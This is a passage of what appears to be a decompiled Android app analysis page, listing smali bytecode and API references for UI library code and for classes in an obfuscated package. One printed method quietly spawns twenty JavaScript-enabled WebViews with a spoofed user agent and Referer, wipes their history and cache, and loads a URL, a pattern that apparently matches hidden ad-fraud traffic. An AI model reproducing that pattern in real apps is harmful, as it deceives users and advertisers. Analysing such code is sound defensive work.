114invoke-interface {v0, p2, v2}, Lcom/mikepenz/a/i;->a(Lcom/mikepenz/a/g;Z)V
115cond_9c: iget-boolean v0, p0, Lcom/mikepenz/a/b;->k:Z
116if-eqz v0, :cond_8
117if-eqz v1, :cond_bf
119iget-object v0, p0, Lcom/mikepenz/a/b;->m:Ljava/util/Set;
121invoke-static {p3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
122move-result-object v1
124invoke-interface {v0, v1}, Ljava/util/Set;->contains(Ljava/lang/Object;)Z
125move-result v0
126if-eqz v0, :cond_8
128iget-object v0, p0, Lcom/mikepenz/a/b;->m:Ljava/util/Set;
130invoke-static {p3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
131move-result-object v1
133invoke-interface {v0, v1}, Ljava/util/Set;->remove(Ljava/lang/Object;)Z
134goto/16 :goto_8
135cond_b9: move v0, v3
136goto/16 :goto_88
137cond_bb: move v0, v3
138goto/16 :goto_8e
139cond_bd: move v2, v3
140goto/16 :goto_99
141cond_bf:
142iget-object v0, p0, Lcom/mikepenz/a/b;->m:Ljava/util/Set;
144invoke-static {p3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
145move-result-object v1
147invoke-interface {v0, v1}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
148goto/16 :goto_8
APIs
  • devlight.io.library.behavior.NavigationTabBarBehavior.a
  • android.support.design.widget.Snackbar$SnackbarLayout.getLayoutParams
  • devlight.io.library.ntb.NavigationTabBar.getBarHeight
  • devlight.io.library.ntb.NavigationTabBar.getTranslationY
  • devlight.io.library.behavior.NavigationTabBarBehavior.a
  • android.support.design.widget.Snackbar$SnackbarLayout.getLayoutParams
  • devlight.io.library.behavior.NavigationTabBarBehavior.b
  • android.view.ViewGroup$MarginLayoutParams.setMargins
  • devlight.io.library.behavior.NavigationTabBarBehavior.a
  • android.support.design.widget.Snackbar$SnackbarLayout.requestLayout
  • devlight.io.library.behavior.NavigationTabBarBehavior.c
  • android.support.design.widget.FloatingActionButton.getLayoutParams
  • devlight.io.library.behavior.NavigationTabBarBehavior.d
  • devlight.io.library.ntb.NavigationTabBar.getTranslationY
  • devlight.io.library.behavior.NavigationTabBarBehavior.b
  • devlight.io.library.behavior.NavigationTabBarBehavior.c
  • android.support.design.widget.FloatingActionButton.getLayoutParams
  • devlight.io.library.behavior.NavigationTabBarBehavior.e
  • android.view.ViewGroup$MarginLayoutParams.setMargins
  • devlight.io.library.behavior.NavigationTabBarBehavior.c
  • android.support.design.widget.FloatingActionButton.requestLayout
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$2;->b:Ldevlight/io/library/behavior/NavigationTabBarBehavior;
4invoke-static {v0}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->a(Ldevlight/io/library/behavior/NavigationTabBarBehavior;)Landroid/support/design/widget/Snackbar$SnackbarLayout;
5move-result-object v0
6if-eqz v0, :cond_4d
8iget-object v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$2;->b:Ldevlight/io/library/behavior/NavigationTabBarBehavior;
10invoke-static {v0}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->a(Ldevlight/io/library/behavior/NavigationTabBarBehavior;)Landroid/support/design/widget/Snackbar$SnackbarLayout;
11move-result-object v0
13invoke-virtual {v0}, Landroid/support/design/widget/Snackbar$SnackbarLayout;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
14move-result-object v0
15instance-of v0, v0, Landroid/view/ViewGroup$MarginLayoutParams;
16if-eqz v0, :cond_4d
18iget-object v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$2;->b:Ldevlight/io/library/behavior/NavigationTabBarBehavior;
20iget-object v1, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$2;->a:Ldevlight/io/library/ntb/NavigationTabBar;
22invoke-virtual {v1}, Ldevlight/io/library/ntb/NavigationTabBar;->getBarHeight()F
23move-result v1
25iget-object v2, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$2;->a:Ldevlight/io/library/ntb/NavigationTabBar;
27invoke-virtual {v2}, Ldevlight/io/library/ntb/NavigationTabBar;->getTranslationY()F
28move-result v2
29sub-float/2addr v1, v2
31invoke-static {v0, v1}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->a(Ldevlight/io/library/behavior/NavigationTabBarBehavior;F)F
33iget-object v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$2;->b:Ldevlight/io/library/behavior/NavigationTabBarBehavior;
35invoke-static {v0}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->a(Ldevlight/io/library/behavior/NavigationTabBarBehavior;)Landroid/support/design/widget/Snackbar$SnackbarLayout;
36move-result-object v0
38invoke-virtual {v0}, Landroid/support/design/widget/Snackbar$SnackbarLayout;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
39move-result-object v0
40check-cast v0, Landroid/view/ViewGroup$MarginLayoutParams;
41iget v1, v0, Landroid/view/ViewGroup$MarginLayoutParams;->leftMargin:I
42iget v2, v0, Landroid/view/ViewGroup$MarginLayoutParams;->topMargin:I
43iget v3, v0, Landroid/view/ViewGroup$MarginLayoutParams;->rightMargin:I
45iget-object v4, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$2;->b:Ldevlight/io/library/behavior/NavigationTabBarBehavior;
47invoke-static {v4}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->b(Ldevlight/io/library/behavior/NavigationTabBarBehavior;)F
48move-result v4
49float-to-int v4, v4
51invoke-virtual {v0, v1, v2, v3, v4}, Landroid/view/ViewGroup$MarginLayoutParams;->setMargins(IIII)V
53iget-object v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$2;->b:Ldevlight/io/library/behavior/NavigationTabBarBehavior;
55invoke-static {v0}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->a(Ldevlight/io/library/behavior/NavigationTabBarBehavior;)Landroid/support/design/widget/Snackbar$SnackbarLayout;
56move-result-object v0
58invoke-virtual {v0}, Landroid/support/design/widget/Snackbar$SnackbarLayout;->requestLayout()V
59cond_4d:
60iget-object v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$2;->b:Ldevlight/io/library/behavior/NavigationTabBarBehavior;
62invoke-static {v0}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->c(Ldevlight/io/library/behavior/NavigationTabBarBehavior;)Landroid/support/design/widget/FloatingActionButton;
63move-result-object v0
64if-eqz v0, :cond_9a
66iget-object v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$2;->b:Ldevlight/io/library/behavior/NavigationTabBarBehavior;
68invoke-static {v0}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->c(Ldevlight/io/library/behavior/NavigationTabBarBehavior;)Landroid/support/design/widget/FloatingActionButton;
69move-result-object v0
71invoke-virtual {v0}, Landroid/support/design/widget/FloatingActionButton;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
72move-result-object v0
73instance-of v0, v0, Landroid/view/ViewGroup$MarginLayoutParams;
74if-eqz v0, :cond_9a
76iget-object v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$2;->b:Ldevlight/io/library/behavior/NavigationTabBarBehavior;
78iget-object v1, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$2;->b:Ldevlight/io/library/behavior/NavigationTabBarBehavior;
80invoke-static {v1}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->d(Ldevlight/io/library/behavior/NavigationTabBarBehavior;)F
81move-result v1
83iget-object v2, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$2;->a:Ldevlight/io/library/ntb/NavigationTabBar;
85invoke-virtual {v2}, Ldevlight/io/library/ntb/NavigationTabBar;->getTranslationY()F
86move-result v2
87sub-float/2addr v1, v2
89invoke-static {v0, v1}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->b(Ldevlight/io/library/behavior/NavigationTabBarBehavior;F)F
91iget-object v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$2;->b:Ldevlight/io/library/behavior/NavigationTabBarBehavior;
93invoke-static {v0}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->c(Ldevlight/io/library/behavior/NavigationTabBarBehavior;)Landroid/support/design/widget/FloatingActionButton;
94move-result-object v0
96invoke-virtual {v0}, Landroid/support/design/widget/FloatingActionButton;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
97move-result-object v0
98check-cast v0, Landroid/view/ViewGroup$MarginLayoutParams;
99iget v1, v0, Landroid/view/ViewGroup$MarginLayoutParams;->leftMargin:I
100iget v2, v0, Landroid/view/ViewGroup$MarginLayoutParams;->topMargin:I
101iget v3, v0, Landroid/view/ViewGroup$MarginLayoutParams;->rightMargin:I
103iget-object v4, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$2;->b:Ldevlight/io/library/behavior/NavigationTabBarBehavior;
105invoke-static {v4}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->e(Ldevlight/io/library/behavior/NavigationTabBarBehavior;)F
106move-result v4
107float-to-int v4, v4
109invoke-virtual {v0, v1, v2, v3, v4}, Landroid/view/ViewGroup$MarginLayoutParams;->setMargins(IIII)V
111iget-object v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$2;->b:Ldevlight/io/library/behavior/NavigationTabBarBehavior;
113invoke-static {v0}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->c(Ldevlight/io/library/behavior/NavigationTabBarBehavior;)Landroid/support/design/widget/FloatingActionButton;
114move-result-object v0
116invoke-virtual {v0}, Landroid/support/design/widget/FloatingActionButton;->requestLayout()V
117cond_9a: return-void
APIs
  • devlight.io.library.behavior.NavigationTabBarBehavior.a
  • android.support.design.widget.Snackbar$SnackbarLayout.getLayoutParams
  • devlight.io.library.ntb.NavigationTabBar.getBarHeight
  • android.view.View.getTranslationY
  • devlight.io.library.behavior.NavigationTabBarBehavior.a
  • android.support.design.widget.Snackbar$SnackbarLayout.getLayoutParams
  • devlight.io.library.behavior.NavigationTabBarBehavior.b
  • android.view.ViewGroup$MarginLayoutParams.setMargins
  • devlight.io.library.behavior.NavigationTabBarBehavior.a
  • android.support.design.widget.Snackbar$SnackbarLayout.requestLayout
  • devlight.io.library.behavior.NavigationTabBarBehavior.c
  • android.support.design.widget.FloatingActionButton.getLayoutParams
  • devlight.io.library.behavior.NavigationTabBarBehavior.c
  • android.support.design.widget.FloatingActionButton.getLayoutParams
  • devlight.io.library.behavior.NavigationTabBarBehavior.d
  • android.view.View.getTranslationY
  • devlight.io.library.behavior.NavigationTabBarBehavior.b
  • devlight.io.library.behavior.NavigationTabBarBehavior.e
  • android.view.ViewGroup$MarginLayoutParams.setMargins
  • devlight.io.library.behavior.NavigationTabBarBehavior.c
  • android.support.design.widget.FloatingActionButton.requestLayout
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$1;->b:Ldevlight/io/library/behavior/NavigationTabBarBehavior;
4invoke-static {v0}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->a(Ldevlight/io/library/behavior/NavigationTabBarBehavior;)Landroid/support/design/widget/Snackbar$SnackbarLayout;
5move-result-object v0
6if-eqz v0, :cond_4b
8iget-object v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$1;->b:Ldevlight/io/library/behavior/NavigationTabBarBehavior;
10invoke-static {v0}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->a(Ldevlight/io/library/behavior/NavigationTabBarBehavior;)Landroid/support/design/widget/Snackbar$SnackbarLayout;
11move-result-object v0
13invoke-virtual {v0}, Landroid/support/design/widget/Snackbar$SnackbarLayout;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
14move-result-object v0
15instance-of v0, v0, Landroid/view/ViewGroup$MarginLayoutParams;
16if-eqz v0, :cond_4b
18iget-object v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$1;->b:Ldevlight/io/library/behavior/NavigationTabBarBehavior;
20iget-object v1, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$1;->a:Ldevlight/io/library/ntb/NavigationTabBar;
22invoke-virtual {v1}, Ldevlight/io/library/ntb/NavigationTabBar;->getBarHeight()F
23move-result v1
25invoke-virtual {p1}, Landroid/view/View;->getTranslationY()F
26move-result v2
27sub-float/2addr v1, v2
29invoke-static {v0, v1}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->a(Ldevlight/io/library/behavior/NavigationTabBarBehavior;F)F
31iget-object v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$1;->b:Ldevlight/io/library/behavior/NavigationTabBarBehavior;
33invoke-static {v0}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->a(Ldevlight/io/library/behavior/NavigationTabBarBehavior;)Landroid/support/design/widget/Snackbar$SnackbarLayout;
34move-result-object v0
36invoke-virtual {v0}, Landroid/support/design/widget/Snackbar$SnackbarLayout;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
37move-result-object v0
38check-cast v0, Landroid/view/ViewGroup$MarginLayoutParams;
39iget v1, v0, Landroid/view/ViewGroup$MarginLayoutParams;->leftMargin:I
40iget v2, v0, Landroid/view/ViewGroup$MarginLayoutParams;->topMargin:I
41iget v3, v0, Landroid/view/ViewGroup$MarginLayoutParams;->rightMargin:I
43iget-object v4, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$1;->b:Ldevlight/io/library/behavior/NavigationTabBarBehavior;
45invoke-static {v4}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->b(Ldevlight/io/library/behavior/NavigationTabBarBehavior;)F
46move-result v4
47float-to-int v4, v4
49invoke-virtual {v0, v1, v2, v3, v4}, Landroid/view/ViewGroup$MarginLayoutParams;->setMargins(IIII)V
51iget-object v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$1;->b:Ldevlight/io/library/behavior/NavigationTabBarBehavior;
53invoke-static {v0}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->a(Ldevlight/io/library/behavior/NavigationTabBarBehavior;)Landroid/support/design/widget/Snackbar$SnackbarLayout;
54move-result-object v0
56invoke-virtual {v0}, Landroid/support/design/widget/Snackbar$SnackbarLayout;->requestLayout()V
57cond_4b:
58iget-object v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$1;->b:Ldevlight/io/library/behavior/NavigationTabBarBehavior;
60invoke-static {v0}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->c(Ldevlight/io/library/behavior/NavigationTabBarBehavior;)Landroid/support/design/widget/FloatingActionButton;
61move-result-object v0
62if-eqz v0, :cond_96
64iget-object v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$1;->b:Ldevlight/io/library/behavior/NavigationTabBarBehavior;
66invoke-static {v0}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->c(Ldevlight/io/library/behavior/NavigationTabBarBehavior;)Landroid/support/design/widget/FloatingActionButton;
67move-result-object v0
69invoke-virtual {v0}, Landroid/support/design/widget/FloatingActionButton;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
70move-result-object v0
71instance-of v0, v0, Landroid/view/ViewGroup$MarginLayoutParams;
72if-eqz v0, :cond_96
74iget-object v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$1;->b:Ldevlight/io/library/behavior/NavigationTabBarBehavior;
76invoke-static {v0}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->c(Ldevlight/io/library/behavior/NavigationTabBarBehavior;)Landroid/support/design/widget/FloatingActionButton;
77move-result-object v0
79invoke-virtual {v0}, Landroid/support/design/widget/FloatingActionButton;->getLayoutParams()Landroid/view/ViewGroup$LayoutParams;
80move-result-object v0
81check-cast v0, Landroid/view/ViewGroup$MarginLayoutParams;
83iget-object v1, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$1;->b:Ldevlight/io/library/behavior/NavigationTabBarBehavior;
85iget-object v2, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$1;->b:Ldevlight/io/library/behavior/NavigationTabBarBehavior;
87invoke-static {v2}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->d(Ldevlight/io/library/behavior/NavigationTabBarBehavior;)F
88move-result v2
90invoke-virtual {p1}, Landroid/view/View;->getTranslationY()F
91move-result v3
92sub-float/2addr v2, v3
94invoke-static {v1, v2}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->b(Ldevlight/io/library/behavior/NavigationTabBarBehavior;F)F
95iget v1, v0, Landroid/view/ViewGroup$MarginLayoutParams;->leftMargin:I
96iget v2, v0, Landroid/view/ViewGroup$MarginLayoutParams;->topMargin:I
97iget v3, v0, Landroid/view/ViewGroup$MarginLayoutParams;->rightMargin:I
99iget-object v4, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$1;->b:Ldevlight/io/library/behavior/NavigationTabBarBehavior;
101invoke-static {v4}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->e(Ldevlight/io/library/behavior/NavigationTabBarBehavior;)F
102move-result v4
103float-to-int v4, v4
105invoke-virtual {v0, v1, v2, v3, v4}, Landroid/view/ViewGroup$MarginLayoutParams;->setMargins(IIII)V
107iget-object v0, p0, Ldevlight/io/library/behavior/NavigationTabBarBehavior$1;->b:Ldevlight/io/library/behavior/NavigationTabBarBehavior;
109invoke-static {v0}, Ldevlight/io/library/behavior/NavigationTabBarBehavior;->c(Ldevlight/io/library/behavior/NavigationTabBarBehavior;)Landroid/support/design/widget/FloatingActionButton;
110move-result-object v0
112invoke-virtual {v0}, Landroid/support/design/widget/FloatingActionButton;->requestLayout()V
113cond_96: return-void
Cross References
APIs
  • android.widget.Filter$FilterResults.<init>
  • java.lang.CharSequence.length
  • com.mikepenz.a.a.c.b
  • com.mikepenz.a.b.b
  • com.mikepenz.a.a.c.b
  • com.mikepenz.a.b.g
  • com.mikepenz.a.a.c.b
  • com.mikepenz.a.b.g
  • com.mikepenz.a.a.c.a
  • java.util.ArrayList.<init>
  • java.lang.CharSequence.length
  • java.util.List.size
  • java.util.ArrayList.<init>
  • com.mikepenz.a.a.c.b
  • java.util.List.iterator
  • java.util.Iterator.hasNext
  • java.util.Iterator.next
  • com.mikepenz.a.a.c.b
  • java.util.List.add
  • java.util.List.size
  • com.mikepenz.a.a.c.a
Position Instruction Meta Information
0.prologue
1new-instance v2, Landroid/widget/Filter$FilterResults;
3invoke-direct {v2}, Landroid/widget/Filter$FilterResults;-><init>()V
5iget-object v0, p0, Lcom/mikepenz/a/a/c$a;->b:Ljava/util/List;
6if-nez v0, :cond_13
7if-eqz p1, :cond_11
9invoke-interface {p1}, Ljava/lang/CharSequence;->length()I
10move-result v0
11if-nez v0, :cond_13
12cond_11: move-object v0, v2
13goto_12: return-object v0
14cond_13:
15iget-object v0, p0, Lcom/mikepenz/a/a/c$a;->a:Lcom/mikepenz/a/a/c;
17invoke-virtual {v0}, Lcom/mikepenz/a/a/c;->b()Lcom/mikepenz/a/b;
18move-result-object v0
20invoke-virtual {v0}, Lcom/mikepenz/a/b;->b()Z
21move-result v0
22if-eqz v0, :cond_28
24iget-object v0, p0, Lcom/mikepenz/a/a/c$a;->a:Lcom/mikepenz/a/a/c;
26invoke-virtual {v0}, Lcom/mikepenz/a/a/c;->b()Lcom/mikepenz/a/b;
27move-result-object v0
29invoke-virtual {v0}, Lcom/mikepenz/a/b;->g()V
30cond_28:
31iget-object v0, p0, Lcom/mikepenz/a/a/c$a;->a:Lcom/mikepenz/a/a/c;
33invoke-virtual {v0}, Lcom/mikepenz/a/a/c;->b()Lcom/mikepenz/a/b;
34move-result-object v0
35const/4 v1, 0x0
37invoke-virtual {v0, v1}, Lcom/mikepenz/a/b;->g(Z)V
  • Data flow analysis:
    • p0: 0
38iput-object p1, p0, Lcom/mikepenz/a/a/c$a;->c:Ljava/lang/CharSequence;
40iget-object v0, p0, Lcom/mikepenz/a/a/c$a;->b:Ljava/util/List;
41if-nez v0, :cond_45
42new-instance v0, Ljava/util/ArrayList;
44iget-object v1, p0, Lcom/mikepenz/a/a/c$a;->a:Lcom/mikepenz/a/a/c;
46invoke-static {v1}, Lcom/mikepenz/a/a/c;->a(Lcom/mikepenz/a/a/c;)Ljava/util/List;
47move-result-object v1
49invoke-direct {v0, v1}, Ljava/util/ArrayList;-><init>(Ljava/util/Collection;)V
50iput-object v0, p0, Lcom/mikepenz/a/a/c$a;->b:Ljava/util/List;
51cond_45: if-eqz p1, :cond_4d
53invoke-interface {p1}, Ljava/lang/CharSequence;->length()I
54move-result v0
55if-nez v0, :cond_5e
56cond_4d:
57iget-object v0, p0, Lcom/mikepenz/a/a/c$a;->b:Ljava/util/List;
58iput-object v0, v2, Landroid/widget/Filter$FilterResults;->values:Ljava/lang/Object;
60iget-object v0, p0, Lcom/mikepenz/a/a/c$a;->b:Ljava/util/List;
62invoke-interface {v0}, Ljava/util/List;->size()I
63move-result v0
64iput v0, v2, Landroid/widget/Filter$FilterResults;->count:I
65const/4 v0, 0x0
66iput-object v0, p0, Lcom/mikepenz/a/a/c$a;->b:Ljava/util/List;
67goto_5c: move-object v0, v2
68goto/16 :goto_12
69cond_5e: new-instance v1, Ljava/util/ArrayList;
71invoke-direct {v1}, Ljava/util/ArrayList;-><init>()V
73iget-object v0, p0, Lcom/mikepenz/a/a/c$a;->a:Lcom/mikepenz/a/a/c;
75invoke-static {v0}, Lcom/mikepenz/a/a/c;->b(Lcom/mikepenz/a/a/c;)Lcom/mikepenz/a/h$a;
76move-result-object v0
77if-eqz v0, :cond_97
79iget-object v0, p0, Lcom/mikepenz/a/a/c$a;->b:Ljava/util/List;
81invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
82move-result-object v3
83goto_71:
84invoke-interface {v3}, Ljava/util/Iterator;->hasNext()Z
85move-result v0
86if-eqz v0, :cond_8d
88invoke-interface {v3}, Ljava/util/Iterator;->next()Ljava/lang/Object;
89move-result-object v0
90check-cast v0, Lcom/mikepenz/a/g;
92iget-object v4, p0, Lcom/mikepenz/a/a/c$a;->a:Lcom/mikepenz/a/a/c;
94invoke-static {v4}, Lcom/mikepenz/a/a/c;->b(Lcom/mikepenz/a/a/c;)Lcom/mikepenz/a/h$a;
95move-result-object v4
97invoke-interface {v4, v0, p1}, Lcom/mikepenz/a/h$a;->a(Lcom/mikepenz/a/g;Ljava/lang/CharSequence;)Z
98move-result v4
99if-nez v4, :cond_71
101invoke-interface {v1, v0}, Ljava/util/List;->add(Ljava/lang/Object;)Z
102goto/16 :goto_71
103cond_8d: move-object v0, v1
104goto_8e: iput-object v0, v2, Landroid/widget/Filter$FilterResults;->values:Ljava/lang/Object;
106invoke-interface {v0}, Ljava/util/List;->size()I
107move-result v0
108iput v0, v2, Landroid/widget/Filter$FilterResults;->count:I
109goto/16 :goto_5c
110cond_97:
111iget-object v0, p0, Lcom/mikepenz/a/a/c$a;->a:Lcom/mikepenz/a/a/c;
113invoke-static {v0}, Lcom/mikepenz/a/a/c;->a(Lcom/mikepenz/a/a/c;)Ljava/util/List;
114move-result-object v0
115goto/16 :goto_8e
Cross References
APIs
  • android.webkit.WebView.<init>
  • java.util.HashMap.<init>
  • java.util.Map.put
  • android.webkit.WebView.getSettings
  • android.webkit.WebSettings.setJavaScriptEnabled
  • android.webkit.WebView.getSettings
  • android.webkit.WebSettings.setUserAgentString
  • android.webkit.WebView.clearHistory
  • android.webkit.WebView.clearFormData
  • android.webkit.WebView.clearCache
  • android.webkit.WebView.loadUrl
  • com.pedqaesf.app.AsyncTask.Vpknteytxitm$2.<init>
  • android.webkit.WebView.setWebViewClient
Strings
  • Referer
  • X-Requested-With
Position Instruction Meta Information
0.annotation build Landroid/annotation/SuppressLint;
1value = {
2"SetJavaScriptEnabled"
3}
4.end annotation
5.prologue
6const/4 v0, 0x0
7const/16 v4, 0x14
8const/16 v1, 0x14
9try_start_5: new-array v1, v1, [Landroid/webkit/WebView;
10iput-object v1, p0, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm;->a:[Landroid/webkit/WebView;
11move v1, v0
12goto_a: if-ge v1, v4, :cond_18
14iget-object v2, p0, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm;->a:[Landroid/webkit/WebView;
15new-instance v3, Landroid/webkit/WebView;
17invoke-direct {v3, p0}, Landroid/webkit/WebView;-><init>(Landroid/content/Context;)V
18aput-object v3, v2, v1
19add-int/lit8 v1, v1, 0x1
20goto/16 :goto_a
21goto_18: if-ge v0, v4, :cond_77
22new-instance v1, Ljava/util/HashMap;
24invoke-direct {v1}, Ljava/util/HashMap;-><init>()V
25iput-object v1, p0, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm;->b:Ljava/util/Map;
27iget-object v1, p0, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm;->b:Ljava/util/Map;
29const-string v2, "Referer"
31invoke-interface {v1, v2, p3}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
  • Data flow analysis:
    • p0: Referer
33iget-object v1, p0, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm;->b:Ljava/util/Map;
35const-string v2, "X-Requested-With"
37const-string v3, ""
39invoke-interface {v1, v2, v3}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
  • Data flow analysis:
    • p0: X-Requested-With
41iget-object v1, p0, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm;->a:[Landroid/webkit/WebView;
42aget-object v1, v1, v0
44invoke-virtual {v1}, Landroid/webkit/WebView;->getSettings()Landroid/webkit/WebSettings;
45move-result-object v1
46const/4 v2, 0x1
48invoke-virtual {v1, v2}, Landroid/webkit/WebSettings;->setJavaScriptEnabled(Z)V
  • Data flow analysis:
    • flag: 1
50iget-object v1, p0, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm;->a:[Landroid/webkit/WebView;
51aget-object v1, v1, v0
53invoke-virtual {v1}, Landroid/webkit/WebView;->getSettings()Landroid/webkit/WebSettings;
54move-result-object v1
56invoke-virtual {v1, p2}, Landroid/webkit/WebSettings;->setUserAgentString(Ljava/lang/String;)V
58iget-object v1, p0, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm;->a:[Landroid/webkit/WebView;
59aget-object v1, v1, v0
61invoke-virtual {v1}, Landroid/webkit/WebView;->clearHistory()V
63iget-object v1, p0, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm;->a:[Landroid/webkit/WebView;
64aget-object v1, v1, v0
66invoke-virtual {v1}, Landroid/webkit/WebView;->clearFormData()V
68iget-object v1, p0, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm;->a:[Landroid/webkit/WebView;
69aget-object v1, v1, v0
70const/4 v2, 0x1
72invoke-virtual {v1, v2}, Landroid/webkit/WebView;->clearCache(Z)V
  • Data flow analysis:
    • includeDiskFiles: 1
74iget-object v1, p0, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm;->a:[Landroid/webkit/WebView;
75aget-object v1, v1, v0
77iget-object v2, p0, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm;->b:Ljava/util/Map;
79invoke-virtual {v1, p1, v2}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;Ljava/util/Map;)V
81iget-object v1, p0, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm;->a:[Landroid/webkit/WebView;
82aget-object v1, v1, v0
83new-instance v2, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm$2;
85invoke-direct {v2, p0}, Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm$2;-><init>(Lcom/pedqaesf/app/AsyncTask/Vpknteytxitm;)V
87invoke-virtual {v1, v2}, Landroid/webkit/WebView;->setWebViewClient(Landroid/webkit/WebViewClient;)V
88try_end_73: add-int/lit8 v0, v0, 0x1
89goto/16 :goto_18
90catch_76: move-exception v0
91cond_77: return-void
Cross References
APIs
  • org.json.JSONArray.get
  • org.json.JSONArray.isNull
  • org.json.JSONArray.get
  • java.lang.Object.toString
  • java.util.Arrays.toString
  • android.util.Log.d
  • android.database.MatrixCursor.<init>
  • java.lang.Integer.toString
  • android.database.MatrixCursor.addRow
  • com.pedqaesf.app.INSMainActivity.getApplicationContext
  • com.pedqaesf.app.INSMainActivity$3$1.<init>
  • android.support.v7.widget.SearchView.setSuggestionsAdapter
  • org.json.JSONException.printStackTrace
Strings
  • Suggestions
  • _id
  • suggestion
Position Instruction Meta Information
0.prologue
1const/16 v5, 0xa
2const/4 v1, 0x0
3const/4 v0, 0x1
4try_start_4:
5invoke-virtual {p1, v0}, Lorg/json/JSONArray;->get(I)Ljava/lang/Object;
  • Data flow analysis:
    • p0: 1
6move-result-object v0
7check-cast v0, Lorg/json/JSONArray;
8const/16 v2, 0xa
9new-array v3, v2, [Ljava/lang/String;
10move v2, v1
11goto_f: if-ge v2, v5, :cond_24
13invoke-virtual {v0, v2}, Lorg/json/JSONArray;->isNull(I)Z
  • Data flow analysis:
    • p0: 0
14move-result v4
15if-nez v4, :cond_21
17invoke-virtual {v0, v2}, Lorg/json/JSONArray;->get(I)Ljava/lang/Object;
  • Data flow analysis:
    • p0: 0
18move-result-object v4
20invoke-virtual {v4}, Ljava/lang/Object;->toString()Ljava/lang/String;
21move-result-object v4
22aput-object v4, v3, v2
23cond_21: add-int/lit8 v2, v2, 0x1
24goto/16 :goto_f
25cond_24:
26const-string v0, "Suggestions"
28invoke-static {v3}, Ljava/util/Arrays;->toString([Ljava/lang/Object;)Ljava/lang/String;
29move-result-object v2
